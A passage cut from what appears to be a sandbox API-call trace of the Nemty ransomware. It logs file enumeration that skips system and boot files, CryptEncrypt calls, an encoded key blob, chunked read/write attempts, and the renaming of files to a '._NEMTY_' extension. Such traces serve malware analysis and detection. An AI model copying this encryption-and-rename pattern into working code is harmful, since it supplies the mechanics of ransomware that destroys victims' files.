lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.798] CloseHandle (hObject=0xffffffff) returned 0 [0052.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0052.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0052.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340338 [0052.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x63403b0 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0052.799] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png._nemty_kgobjgd_")) returned 0 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.799] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0052.799] lstrcmpiW (lpString1="DissolveNoise.png", lpString2=".") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="..") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="...") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="windows") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="$RECYCLE.BIN") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="rsa") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="NTDETECT.COM") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="ntldr") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="MSDOS.SYS") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="IO.SYS") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="boot.ini") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="boot.ini") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="AUTOEXEC.BAT") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="ntuser.dat") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="desktop.ini") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="CONFIG.SYS") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="RECYCLER") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="BOOTSECT.BAK") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="bootmgr") returned 1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="programdata") returned -1 [0052.800] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="appdata") returned 1 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveNoise.png", lpUsedDefaultChar=0x0) returned 17 [0052.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveNoise.png", lpUsedDefaultChar=0x0) returned 17 [0052.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0052.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveNoise.png", lpUsedDefaultChar=0x0) returned 17 [0052.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveNoise.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveNoise.png", lpUsedDefaultChar=0x0) returned 17 [0052.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0052.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0052.801] Sleep (dwMilliseconds=0x5) [0052.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd31ed310, dwHighDateTime=0x1d561e7)) [0052.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd31ed310, dwHighDateTime=0x1d561e7)) [0052.804] GetLastError () returned 0x5 [0052.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.804] GetLastError () returned 0x5 [0052.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0052.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0052.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0052.805] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0052.805] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: pszString="hgaFWlThrJVuVUq2LUnrWFQ316/80KN7k2ZR6DE1A2wMr4nBlbJP3mj8hQJD4yty\r\nLwfd1Dnb0uX65pbzPZmQolxYQnW41RYsABkFqpv66oPnk4HC6BrNwjqjtV548ip6\r\nsoWZiMhaKvopfTPIrn2WExoY85mFysyZSCGlAxLK8AYiTM0mHT4Xy/zUM+FKzklJ\r\ngJe7Kn2UdGn4fUM4Y3neWsVC7kloG2dqdI9bpjUktZvmOdhQxNjIgXgpMORn4V1U\r\nVXq3BIM3xqQXwmDD6dVZRWNw2M2suStmUnWsqm0gtAAJZ9rwrgWQ+Lec+hpS+yqv\r\nkNA/rifhUeAmjoCkP5guBA==\r\n", pcchString=0x653ef9c) returned 1 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0052.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0052.805] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.805] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0052.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, 